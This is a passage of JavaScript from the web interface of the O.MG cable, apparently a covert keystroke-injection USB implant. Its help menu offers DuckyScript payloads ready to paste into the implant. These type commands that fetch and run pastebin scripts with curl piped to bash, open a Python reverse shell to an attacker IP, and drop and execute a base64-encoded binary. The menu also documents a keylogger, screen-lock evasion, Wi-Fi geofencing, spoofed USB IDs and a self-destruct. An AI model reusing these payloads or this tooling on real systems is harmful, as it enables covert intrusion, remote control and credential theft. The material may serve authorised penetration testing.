persons.</p>\n\t\t\t\t\t<p>Information to the User - Part 15.105 (b) Note: This equipment has been tested and found to comply with the limits for a Class B digital device, pursuant to part 15 of the FCC Rules. These limits are designed to provide reasonable protection against harmful interference in a residential installation. This equipment generates, uses and can radiate radio frequency energy and, if not installed and used in accordance with the instructions, may cause harmful interference to radio communications. However, there is no guarantee that interference will not occur in a particular installation. If this equipment does cause harmful interference to radio or television reception, which can be determined by turning the equipment off and on, the user is encouraged to try to correct the interference by one or more of the following measures:</p>\n\t\t\t\t\t<p>\n\t\t\t\t\t\t* Reorient or relocate the receiving antenna.\n\t\t\t\t\t\t<br>\n\t\t\t\t\t\t* Increase the separation between the equipment and receiver.\n\t\t\t\t\t\t<br>\n\t\t\t\t\t\t* Connect the equipment into an outlet on a circuit different from that to which the receiver is connected.\n\t\t\t\t\t\t<br>\n\t\t\t\t\t\t* Consult the dealer or an experienced radio/TV technician for help.\n\t\t\t\t\t</p>`,\n\t\t\t\tcloseEnabled: true,\n\t\t\t});\n\t\t}\n\t\t\n\t\t// Help Menu Module\n\t\tconst helpElementIds = [\n\t\t\t\"helppayloadExample\",\n\t\t\t\"helppayloadUSBIDs\",\n\t\t\t\"helppayload\",\n\t\t\t\"helpkeylog\",\n\t\t\t\"helppayloadGeofencing\",\n\t\t\t\"helpselfDestruct\",\n\t\t\t\"helpglobalKeys\"\n\t\t];\n\t\t\n\t\tlet helpMenuItems = [{\n\t\t\t\"feat\": \"payloadExample\",\n\t\t\t\"name\": \"MacOS Payload Combo\",\n\t\t\t\"desc\": \"On a macOS system, open a Terminal, download the contents of a file posted on pastebin, and execute its contents.\",\n\t\t\t\"code\": [{ example: 'REM To avoid \"new keyboard\" pop up, update the VID/PID to your target environment. https://usb-ids.gowdy.us/read/UD/\\nVID 1337\\nPID C0D3\\nGUI SPACE\\nDELAY 1000\\nSTRING Terminal\\nENTER\\nDELAY 1\\nSTRING curl -sL pastebin.com/raw/TR4G7CUg|bash\\nENTER' }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadExample\",\n\t\t\t\"name\": \"Linux Payload Combo\",\n\t\t\t\"desc\": \"On a Linux system, open a Terminal, download the contents of a file posted on pastebin, and execute its contents.\",\n\t\t\t\"code\": [{ example: 'VID 1337\\nPID C0D3\\nGUI\\nDELAY 1000\\nSTRING Terminal\\nENTER\\nDELAY 5000\\nSTRING curl -sL pastebin.com/raw/TR4G7CUg|bash\\nENTER' }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadExample\",\n\t\t\t\"name\": \"Linux Netspooky B64 Combo\",\n\t\t\t\"desc\": \"On a Linux system, open a Terminal, decode a base64 string, save to a file, set as executable, and run the file.\",\n\t\t\t\"code\": [{ example: 'GUI\\nSTRING Terminal\\nENTER\\nDELAY 3000\\nSTRING base64 -d <<< f0VMRgIBAQCwPEgx/w8FAAIAPgABAAAACABAAAAAAABAAAAAAAAAAFABAAAAAAAAAAAAAEAAOAABAEAABQAEAAEAAAAFAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAewAAAAAAAAB7AAAAAAAAAAAAIAAAAAAA >s;chmod +x s;./s\\nENTER' }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadExample\",\n\t\t\t\"name\": \"Linux Boot Jiggle Payload Suicide\",\n\t\t\t\"desc\": \"On a Linux system, start the Mouse Jiggler, wait for 40 minutes, and then open a Terminal, download the contents of a file from pastebin, and execute its contents, then perform a Self Destruct on the O.MG Device.\",\n\t\t\t\"code\": [{ example: 'JIGGLER ON\\nDELAY 240000\\nGUI\\nDELAY 1\\nSTRING Terminal\\nENTER\\nDELAY 5000\\nSTRING curl -sL pastebin.com/raw/TR4G7CUg|bash\\nENTER\\nSELF-DESTRUCT' }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadExample\",\n\t\t\t\"name\": \"Linux Reverse Shell Python\",\n\t\t\t\"desc\": \"On a Linux system, open a Terminal, and using Python create a reverse shell.\",\n\t\t\t\"code\": [{ example: 'GUI\\nSTRING Terminal\\nENTER\\nDELAY 3000\\nSTRING python -c \\\"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"ATTACKING-IP\\\",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"]);\\\"\\nENTER' }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadExample\",\n\t\t\t\"name\": \"Win10 Admin PowerShell Enable PS1 Scripts\",\n\t\t\t\"desc\": \"On a Windows system, open Powershell and set the execution policy to allow *.ps1 scripts.\",\n\t\t\t\"code\": [{ example: 'GUI r\\nDELAY 2000\\nSTRING PowerShell\\nDELAY 1\\nENTER\\nDELAY 2000\\nSTRING Start-Process PowerShell -Verb RunAs\\nDELAY 1000\\nENTER\\nDELAY 1000\\nLEFT\\nENTER\\nDELAY 3000\\nSTRING Set-ExecutionPolicy RemoteSigned\\nDELAY 2000\\nENTER\\nSTRING A\\nDELAY 2000\\nENTER' }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadExample\",\n\t\t\t\"name\": \"Win10 PowerShell\",\n\t\t\t\"desc\": \"On a Windows system, open PowerShell.\",\n\t\t\t\"code\": [{ example: 'GUI r\\nDELAY 1000\\nSTRING PowerShell\\nENTER' }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadExample\",\n\t\t\t\"name\": \"Win10 1\",\n\t\t\t\"desc\": \"On a Windows system, download the contents of a file posted on pastebin, and execute its contents.\",\n\t\t\t\"code\": [{ example: 'STRING wget pastebin.com/raw/CR8QprvH -Outfile y.ps1\\nENTER' }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadExample\",\n\t\t\t\"name\": \"Win10 2\",\n\t\t\t\"desc\": \"On a Windows system, print the string 'rekt'\",\n\t\t\t\"code\": [{ example: 'STRING $x=echo rekt\\nENTER\\nSTRING $x\\nENTER' }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadExample\",\n\t\t\t\"name\": \"Win10 Combo\",\n\t\t\t\"desc\": \"On a Windows system, open Powershell and print the string 'rekt'\",\n\t\t\t\"code\": [{ example: 'VID 1337\\nPID C0D3\\nGUI r\\nDELAY 1000\\nSTRING PowerShell\\nENTER\\nDELAY 5000\\nSTRING $x=echo rekt\\nENTER\\nSTRING $x\\nENTER' }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadExample\",\n\t\t\t\"name\": \"Check wifi for target location\",\n\t\t\t\"desc\": \"Use the GeoFencing Module to detect if a WiFi Network is present, and if so print a string on the target.\",\n\t\t\t\"code\": [{ example: 'VID 1337\\nPID C0D3\\nSTRING Checking if cable is still in the target location...\\nENTER\\nIF_PRESENT SSID=\"TargetSSID\"\\nSTRING Cable looks to be at the target location, it\\'s safe to run the payload!\\nENTER' }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadExample\",\n\t\t\t\"name\": \"Check wifi for safe location\",\n\t\t\t\"desc\": \"Use the GeoFencing Module to detect if a WiFi network is not present, and if so print a string on the target.\",\n\t\t\t\"code\": [{ example: 'VID 1337\\nPID C0D3\\nSTRING Checking if cable is in the off limits location before running payload...\\nENTER\\nIF_NOTPRESENT SSID=\"OffLimitsSSID\"\\nSTRING If this is being typed, it means the OffLimitsSSID as not seen!\\nENTER' }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadExample\",\n\t\t\t\"name\": \"MacOS Text-to-Speech Example\",\n\t\t\t\"desc\": \"On macOS, Launch terminal and use the command 'say' to read out a string.\",\n\t\t\t\"code\": [{ example: 'DELAY 200\\nGUI SPACE\\nDELAY 200\\nSTRING Terminal\\nENTER\\nDELAY 200\\nSTRING say \"We have been trying to reach you concerning your vehicles extended warranty. You should have received a notice in the mail about your cars extended warranty eligibility. Since we have not gotten a response, we are giving you a final courtesy call before we close out your file. Press 2 to be removed and placed on our do-not-call list. To speak to someone about possibly extending or reinstating your vehicles warranty, press 1 to speak with a warranty specialist.\"\\nENTER' }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadExample\",\n\t\t\t\"name\": \"Windows Text-to-Speech Example\",\n\t\t\t\"desc\": \"On Windows, Launch Powershell and use the System.speech to read out a string.\",\n\t\t\t\"code\": [{ example: 'DELAY 200\\nGUI r\\nDELAY 200\\nSTRING Powershell\\nENTER\\nDELAY 200\\nSTRING Add-Type -AssemblyName System.speech\\nENTER\\nSTRING $speak = New-Object System.Speech.Synthesis.SpeechSynthesizer\\nENTER\\nSTRING $speak.Speak(\"We have been trying to reach you concerning your vehicles extended warranty. You should have received a notice in the mail about your cars extended warranty eligibility. Since we have not gotten a response, we are giving you a final courtesy call before we close out your file. Press 2 to be removed and placed on our do-not-call list. To speak to someone about possibly extending or reinstating your vehicles warranty, press 1 to speak with a warranty specialist.\")\\nENTER' }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadUSBIDs\",\n\t\t\t\"name\": \"VID\",\n\t\t\t\"desc\": \"Set Vendor ID\",\n\t\t\t\"code\": [{ \"example\": \"VID 1234\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadUSBIDs\",\n\t\t\t\"name\": \"PID\",\n\t\t\t\"desc\": \"Set Product ID\",\n\t\t\t\"code\": [{ \"example\": \"PID ABCD\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadUSBIDs\",\n\t\t\t\"name\": \"MAN\",\n\t\t\t\"desc\": \"Set iManufacturer descriptor (length 40)\",\n\t\t\t\"code\": [{ \"example\": \"MAN O.MG\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadUSBIDs\",\n\t\t\t\"name\": \"PRO\",\n\t\t\t\"desc\": \"Set iProduct descriptor (length 40)\",\n\t\t\t\"code\": [{ \"example\": \"PRO O.MG-CABLE\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadUSBIDs\",\n\t\t\t\"name\": \"SER\",\n\t\t\t\"desc\": \"Set iSerial descriptor (length 40)\",\n\t\t\t\"code\": [{ \"example\": \"SER 0123456789\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadUSBIDs\",\n\t\t\t\"name\": \"VID_RANDOM\",\n\t\t\t\"desc\": \"Set Vendor ID to a random 4-digit HEX Value\",\n\t\t\t\"code\": [{ \"example\": \"VID_RANDOM\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadUSBIDs\",\n\t\t\t\"name\": \"PID_RANDOM\",\n\t\t\t\"desc\": \"Set Product ID to a random 4-digit HEX Value\",\n\t\t\t\"code\": [{ \"example\": \"PID_RANDOM\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadUSBIDs\",\n\t\t\t\"name\": \"MAN_RANDOM\",\n\t\t\t\"desc\": \"Set iManufacturer descriptor to a random plausible string\",\n\t\t\t\"code\": [{ \"example\": \"MAN_RANDOM\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadUSBIDs\",\n\t\t\t\"name\": \"PRO_RANDOM\",\n\t\t\t\"desc\": \"Set iProduct descriptor to a random plausible string\",\n\t\t\t\"code\": [{ \"example\": \"PRO_RANDOM\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payloadUSBIDs\",\n\t\t\t\"name\": \"SER_RANDOM\",\n\t\t\t\"desc\": \"Set iSerial descriptor to a random plausible string\",\n\t\t\t\"code\": [{ \"example\": \"SER_RANDOM\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"STRING\",\n\t\t\t\"desc\": \"Type a sequence of letter\",\n\t\t\t\"code\": [{ \"example\": \"STRING Hello World!\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"STRINGLN\",\n\t\t\t\"desc\": \"Type a sequence of letter, followed by ENTER\",\n\t\t\t\"code\": [{ \"example\": \"STRINGLN Hello World!\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"REM\",\n\t\t\t\"desc\": \"Comment. This line will be removed by the compiler.\",\n\t\t\t\"code\": [{ \"example\": \"REM Hello World!\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"REM_BLOCK\",\n\t\t\t\"desc\": \"Comment. This block will be removed by the compiler.\",\n\t\t\t\"code\": [{ \"example\": \"REM_BLOCK Hello,\\n World!\\nEND_REM\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"RANDOM_LOWERCASE_LETTER\",\n\t\t\t\"desc\": \"Type a single random character from the set: abcdefghijklmnopqrstuvwxyz\",\n\t\t\t\"code\": [{ \"example\": \"RANDOM_LOWERCASE_LETTER\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"RANDOM_UPPERCASE_LETTER\",\n\t\t\t\"desc\": \"Type a single random character from the set: ABCDEFGHIJKLMNOPQRSTUVWXYZ\",\n\t\t\t\"code\": [{ \"example\": \"RANDOM_UPPERCASE_LETTER\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"RANDOM_LETTER\",\n\t\t\t\"desc\": \"Type a single random character from the set: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\",\n\t\t\t\"code\": [{ \"example\": \"RANDOM_LETTER\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"RANDOM_NUMBER\",\n\t\t\t\"desc\": \"Type a single random character from the set: 0123456789\",\n\t\t\t\"code\": [{ \"example\": \"RANDOM_NUMBER\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"RANDOM_SPECIAL\",\n\t\t\t\"desc\": \"Type a single random character from the set: !@#$%^&*()\",\n\t\t\t\"code\": [{ \"example\": \"RANDOM_SPECIAL\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"RANDOM_CHAR\",\n\t\t\t\"desc\": \"Type a single random character from the set: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()\",\n\t\t\t\"code\": [{ \"example\": \"RANDOM_CHAR\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"FUNCTION\",\n\t\t\t\"desc\": \"FUNCTION is a block of code that can be ran via a single reference, with optional DEFINE constants provided as parameters. One may consider the use of a FUNCTION within a payload like a find-and-replace at time of compile.\",\n\t\t\t\"code\": [{ \"example\": \"FUNCTION functionName()\\nSTRING Hello, World!\\nEND_FUNCTION\" },\n\t\t\t\t{ \"example\": \"FUNCTION launchApp(#VAR1, #VAR2)\\nGUI SPACE\\nSTRING #VAR1\\nENTER\\nGUI f\\nSTRING #VAR2\\nEND_FUNCTION\" },\n\t\t\t\t{ \"example\": \"launchApp(Safari, www.google.com)\" }\n\t\t\t]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"DEFINE\",\n\t\t\t\"desc\": \"DEFINE a constant. One may consider the use of a DEFINE within a payload like a find-and-replace at time of compile.\",\n\t\t\t\"code\": [{ \"example\": \"DEFINE #WAIT 2000\" },\n\t\t\t\t{ \"example\": \"DEFINE #TEXT Hello World\" },\n\t\t\t\t{ \"example\": \"DEFINE #MYURL example.com\" },\n\t\t\t\t{ \"example\": \"DELAY #WAIT\" },\n\t\t\t\t{ \"example\": \"STRINGLN #TEXT\" },\n\t\t\t\t{ \"example\": \"STRING https://#MYURL\" },\n\t\t\t]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"REPEAT\",\n\t\t\t\"desc\": \"Repeat the following command n-times.\",\n\t\t\t\"code\": [{ \"example\": \"REPEAT 5 STRINGLN Test\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"MOUSE\",\n\t\t\t\"desc\": \"Emulate a mouse via DuckyScript. In the below code example, the mouse will move to the probable 0x0 coordinate, move left 200, move down 30, click the left mouse button. By default, buttons are: 1 = Left Click, 2 = Middle, 3 = Right, 4 = Scroll Up, 5 = Scroll Down, 6 = Back, 7 = Forward\",\n\t\t\t\"code\": [{ \"example\": \"MOUSE MOVE [X: +/- INTEGER] [Y: +/- INTEGER]\" },\n\t\t\t\t{ \"example\": \"MOUSE CLICK [MOUSE BUTTON NUMBER 1-15]\" },\n\t\t\t\t{ \"example\": \"MOUSE MOVE -10000 -10000\" },\n\t\t\t\t{ \"example\": \"MOUSE MOVE 200 30\" },\n\t\t\t\t{ \"example\": \"MOUSE CLICK 1\" }\n\t\t\t]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"USB\",\n\t\t\t\"desc\": \"Turn USB on/off (enumerate the implant as a USB device to the host)\",\n\t\t\t\"code\": [{ \"example\": \"USB ON\" },\n\t\t\t\t{ \"example\": \"USB OFF\" }\n\t\t\t]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"HIDX\",\n\t\t\t\"desc\": \"Turn HIDX TCP Service on/off\",\n\t\t\t\"code\": [{ \"example\": \"HIDX ON\" },\n\t\t\t\t{ \"example\": \"HIDX OFF\" }\n\t\t\t]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"USB_RESET\",\n\t\t\t\"desc\": \"Reset the USB Interface, casuing it to re-enumerate the implant as a USB device to the host.\",\n\t\t\t\"code\": [{ \"example\": \"USB_RESET\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"JIGGLER\",\n\t\t\t\"desc\": \"Turn mouse jiggler on or off. This will move the mouse randomly one pixel left or right every 25 seconds to keep the screen lock feature of the os from turning on.\",\n\t\t\t\"code\": [{ \"example\": \"JIGGLER ON\" },\n\t\t\t\t{ \"example\": \"JIGGLER OFF\" }\n\t\t\t]\n\t\t}, {\n\t\t\t\"feat\": \"keylog\",\n\t\t\t\"name\": \"KEYLOGGER\",\n\t\t\t\"desc\": \"Turn keylogger on or off. By default, the keylogging mode is Keystroke.\",\n\t\t\t\"code\": [{ \"example\": \"KEYLOGGER ON\" },\n\t\t\t\t{ \"example\": \"KEYLOGGER ON KEY\" },\n\t\t\t\t{ \"example\": \"KEYLOGGER ON HID\" },\n\t\t\t\t{ \"example\": \"KEYLOGGER OFF\" }\n\t\t\t]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"REBOOT\",\n\t\t\t\"desc\": \"Reboot backend cable firmware\",\n\t\t\t\"code\": [{ \"example\": \"REBOOT\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"CAPSLOCK_DISABLE\",\n\t\t\t\"desc\": \"Check if CAPSLOCK is on. If so, toggle off for the duration of payload. On completion, return to previous state.\",\n\t\t\t\"code\": [{ \"example\": \"CAPSLOCK_DISABLE\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"DELAY\",\n\t\t\t\"desc\": \"Delay for a number of milliseconds\",\n\t\t\t\"code\": [{ \"example\": \"DELAY 500\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"DEFAULT_DELAY\",\n\t\t\t\"desc\": \"Add an automatic DELAY preceeding each command for a number of milliseconds\",\n\t\t\t\"code\": [{ \"example\": \"DEFAULT_DELAY 500\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"DEFAULT_DELAY_JITTER\",\n\t\t\t\"desc\": \"Take the value from DEFAULT_DELAY and select a random number between 0 and the value specified. The result is added to the DEFAULT_DELAY in milliseconds\",\n\t\t\t\"code\": [{ \"example\": \"DEFAULT_DELAY_JITTER 500\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"DEFAULT_CHAR_DELAY\",\n\t\t\t\"desc\": \"Add an automatic DELAY between each STRING character for a number of milliseconds\",\n\t\t\t\"code\": [{ \"example\": \"DEFAULT_CHAR_DELAY 500\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"DEFAULT_CHAR_DELAY_JITTER\",\n\t\t\t\"desc\": \"Take the value from DEFAULT_CHAR_DELAY and select a random number between 0 and the value specified. The result is added to the DEFAULT_CHAR_DELAY in milliseconds\",\n\t\t\t\"code\": [{ \"example\": \"DEFAULT_CHAR_DELAY_JITTER 500\" }]\n\t\t}, {\n\t\t\t\"feat\": \"payload\",\n\t\t\t\"name\": \"DUCKY_LANG\",\n\t\t\t\"desc\": `Specify Language Keymap used during payload execution. Available keymaps: ${keymapListPretty}`,\n\t\t\t\"code\": [{ \"example\": \"DUCKY_LANG US\" },\n\t\t\t\t{ \"example\": \"DUCKY_LANG FR\" }\n\t\t\t]\n\t\t}, {\n\t\t\t\"feat\": \"payloadGeofencing\",\n\t\t\t\"name\": \"IF_PRESENT\",\n\t\t\t\"desc\": \"Run the payload if a 2.4GHz SSID/BSSID is seen. This only scans once. Optionally, specify SIGNAL for a minimum signal strength, measured in RSSi, with a range from high to low of 00 - 99 (00 being the strongest signal).\",\n\t\t\t\"code\": [{ \"example\": 'IF_PRESENT SSID=\"SSIDNAME\"' },\n\t\t\t\t{ \"example\": 'IF_PRESENT BSSID=\"AA:BB:CC:DD:EE:FF\"' }\n\t\t\t]\n\t\t}, {\n\t\t\t\"feat\": \"payloadGeofencing\",\n\t\t\t\"name\": \"IF_NOTPRESENT\",\n\t\t\t\"desc\": \"Run the payload if a 2.4GHz SSID/BSSID is not seen. This only scans once. Optionally, specify SIGNAL for a minimum signal strength, measured in RSSi, with a range of 00 - 99 (00 being the strongest signal).\",\n\t\t\t\"code\": [{ \"example\": 'IF_NOTPRESENT SSID=\"SSIDNAME\"' },\n\t\t\t\t{ \"example\": 'IF_NOTPRESENT BSSID=\"AA:BB:CC:DD:EE:FF\"' }\n\t\t\t]\n\t\t}, {\n\t\t\t\"feat\": \"payloadGeofencing\",\n\t\t\t\"name\": \"WAIT_FOR_PRESENT\",\n\t\t\t\"desc\": \"Wait for a 2.4GHz SSID/BSSID to be present before continuing the rest of the payload. Specify MINUTES for a timeout, or it will run forever. Specify INTERVAL in seconds for how often the scan will happen. An INTERVAL less than 60sec tends to make it hard for most clients to retain a connection to the Web UI.\",\n\t\t\t\"code\": [{ \"example\": 'WAIT_FOR_PRESENT SSID=\"MySSID\"' },\n\t\t\t\t{ \"example\": 'WAIT_FOR_PRESENT BSSID=\"AA:BB:CC:DD:EE:FF\"' },\n\t\t\t\t{ \"example\": 'WAIT_FOR_PRESENT SSID=\"MySSID\" MINUTES=\"2\" INTERVAL=\"90\"' },\n\t\t\t\t{ \"example\": 'WAIT_FOR_PRESENT BSSID=\"AA:BB:CC:DD:EE:FF\" MINUTES=\"2\" INTERVAL=\"90\"' }\n\t\t\t]\n\t\t}, {\n\t\t\t\"feat\": \"payloadGeofencing\",\n\t\t\t\"name\": \"WAIT_FOR_NOTPRESENT\",\n\t\t\t\"desc\": \"Wait for a 2.4GHz SSID/BSSID to NOT be present before continuing the rest of the payload. Specify MINUTES for a timeout, or it will run forever. Specify INTERVAL in seconds for how often the scan will happen. An INTERVAL less than 60sec tends to make it hard for most clients to retain a connection to the Web UI.\",\n\t\t\t\"code\": [{ \"example\": 'WAIT_FOR_NOTPRESENT SSID=\"MySSID\"' },\n\t\t\t\t{ \"example\": 'WAIT_FOR_NOTPRESENT BSSID=\"AA:BB:CC:DD:EE:FF\"' },\n\t\t\t\t{ \"example\": 'WAIT_FOR_NOTPRESENT SSID=\"MySSID\" MINUTES=\"2\" INTERVAL=\"90\"' },\n\t\t\t\t{ \"example\": 'WAIT_FOR_NOTPRESENT BSSID=\"AA:BB:CC:DD:EE:FF\" MINUTES=\"2\" INTERVAL=\"90\"' }\n\t\t\t]\n\t\t}, {\n\t\t\t\"feat\": \"selfDestruct\",\n\t\t\t\"name\": \"SELF-DESTRUCT 1\",\n\t\t\t\"desc\": \"Completely erase all data and disconnect data lines to make cable behave 'broken'. You will need to reflash the firmware to recover. You will need to reflash the firmware to recover.\\n\\nWARNING: ALL SAVED CONFIGURATIONS AND PAYLOADS WILL BE ERASED!\", \n\t\t\t\"warn\": \"ALL SAVED CONFIGURATIONS AND PAYLOADS WILL BE ERASED!\",\n\t\t\t\"code\": [{ \"example\": \"SELF-DESTRUCT 1\" }]\n\t\t}, {\n\t\t\t\"feat\": \"selfDestruct\",\n\t\t\t\"name\": \"SELF-DESTRUCT 2\",\n\t\t\t\"desc\": \"Erase all data, but leave data lines connected so it behaves like a normal cable. You will need to reflash the firmware to recover.\\n\\nWARNING: ALL SAVED CONFIGURATIONS AND PAYLOADS WILL BE ERASED!\",\n\t\t\t\"warn\": \"ALL SAVED CONFIGURATIONS AND PAYLOADS WILL BE ERASED!\",\n\t\t\t\"code\": [{ \"example\": \"SELF-DESTRUCT 2\" }]\n\t\t}, {\n\t\t\t\"feat\": \"globalKeys\",\n\t\t\t\"name\": \"ALT\",\n\t\t\t\"desc\": \"Use the ALT key.\\nAliases: OPT, OPTION\",\n\t\t\t\"code\": [{ 'example': 'ALT' }]\n\t\t}, {\n\t\t\t\"feat\": \"globalKeys\",\n\t\t\t\"name\": \"CTRL\",\n\t\t\t\"desc\": \"Use the CTRL key.\\nAliases: CONTROL\",\n\t\t\t\"code\": [{ 'example': 'CTRL' }]\n\t\t}, {\n\t\t\t\"feat\": \"globalKeys\",\n\t\t\t\"name\": \"SHIFT\",\n\t\t\t\"desc\": \"Use the SHIFT key.\",\n\t\t\t\"code\": [{ 'example': 'SHIFT' }]\n\t\t}, {\n\t\t\t\"feat\": \"globalKeys\",\n\t\t\t\"name\": \"GUI\",\n\t\t\t\"desc\": \"Use the GUI key.\\nAliases: WIN, WINDOWS, CMD, COMMAND, META\",\n\t\t\t\"code\": [{ 'example': 'GUI' }]\n\t\t}];\n\t\t\n\t\tfunction clearHelpElements() {\n\t\t\thelpElementIds.forEach(id => {\n\t\t\t\tdocument.getElementById(id).innerHTML = \"\";\n\t\t\t});\n\t\t}\n\t\t\n\t\tfunction addGlobalKeysToHelpMenuItems(keymapGlobalArray) {\n\t\t\tkeymapGlobalArray.forEach((valueArray, key) => {\n\t\t\t\tvalueArray.forEach(value => {\n\t\t\t\t\tif (value !== \" \") {\n\t\t\t\t\t\thelpMenuItems.push({\n\t\t\t\t\t\t\t\"feat\": \"globalKeys\",\n\t\t\t\t\t\t\t\"name\": value,\n\t\t\t\t\t\t\t\"desc\": `Use the ${value} key`,\n\t\t\t\t\t\t\t\"code\": [{ example: value }],\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t});\n\t\t}\n\t\t\n\t\tfunction createHelpElements(example) {\n\t\t\tconst { feat, name, desc, code } = example;\n\t\t\tconst parentElement = document.getElementById(`help${feat}`);\n\t\t\n\t\t\tconst helpEntryElement = document.createElement(\"div\");\n\t\t\thelpEntryElement.classList.add(\"helpEntry\");\n\t\t\n\t\t\tconst nameElement = document.createElement(\"h3\");\n\t\t\tnameElement.textContent = name;\n\t\t\tnameElement.classList.add(feat);\n\t\t\thelpEntryElement.appendChild(nameElement);\n\t\t\n\t\t\tconst descElement = document.createElement(\"pre\");\n\t\t\tdescElement.textContent = desc;\n\t\t\tdescElement.classList.add(feat);\n\t\t\thelpEntryElement.appendChild(descElement);\n\t\t\n\t\t\tcode.forEach(({ example }) => {\n\t\t\t\tconst codeElement = document.createElement(\"code\");\n\t\t\t\tcodeElement.textContent = example;\n\t\t\t\tcodeElement.classList.add(feat);\n\t\t\t\thelpEntryElement.appendChild(codeElement);\n\t\t\t});\n\t\t\n\t\t\tparentElement.appendChild(helpEntryElement);\n\t\t}\n\t\t\n\t\tfunction generateHelpMenu() {\n\t\t\tlogMessage(\"DEBUG\", \"generateHelpMenu\");\n\t\t\tclearHelpElements();\n\t\t\taddGlobalKeysToHelpMenuItems(sortedKeymapGlobalArray());\n\t\t\thelpMenuItems.forEach(createHelpElements);\n\t\t}\n\t\t\n\t\tconst handleHelpToPayload = event => {\n\t\t\tlogMessage(\"DEBUG\", `handleHelpToPayload: [event]:[${event}]`);\n\t\t\tconst codeExample = event.target.closest(\"code\").textContent;\n\t\t\tconst payloadScriptArea = document.getElementById(\"payload\");\n\t\t\n\t\t\tpayloadScriptArea.value += codeExample;\n\t\t\tpayloadScriptArea.value += \"\\n\";\n\t\t\tupdateLineNumbers();\n\t\t\n\t\t\tlogMessage(\"INFO\", `codeExampleToPayload: [example]:[${codeExample}] [new]:[${codeExample}]`);\n\t\t};\n\t\t\n\t\tasync function searchGithubPayloads() {\n\t\t\tlet input = document.getElementById('searchGithubPayloads').value;\n\t\t\tif (event.key === \"Enter\" || event.type === \"click\") {\n\t\t\t\tdocument.getElementById('githubPayloadExamples').innerHTML = \"\";\n\t\t\n\t\t\t\tlet url = \"https://api.github.com/repos/hak5/omg-payloads/git/trees/master?recursive=1\";\n\t\t\n\t\t\t\ttry {\n\t\t\t\t\tlet response = await fetch(url);\n\t\t\t\t\tlet data = await response.json();\n\t\t\n\t\t\t\t\tlet files = data.tree.filter(file => file.path.toLowerCase().includes(input.toLowerCase()) && file.path.endsWith('.txt'));\n\t\t\n\t\t\t\t\tfor (let file of files) {\n\t\t\t\t\t\tlet fileUrl = `https://raw.githubusercontent.com/hak5/omg-payloads/master/${file.path}`;\n\t\t\t\t\t\tlet fileResponse = await fetch(fileUrl);\n\t\t\t\t\t\tlet fileData = await fileResponse.text();\n\t\t\n\t\t\t\t\t\tlet h3 = document.createElement('h3');\n\t\t\t\t\t\tlet span = document.createElement('span');\n\t\t\t\t\t\tlet code = document.createElement('code');\n\t\t\n\t\t\t\t\t\th3.textContent = 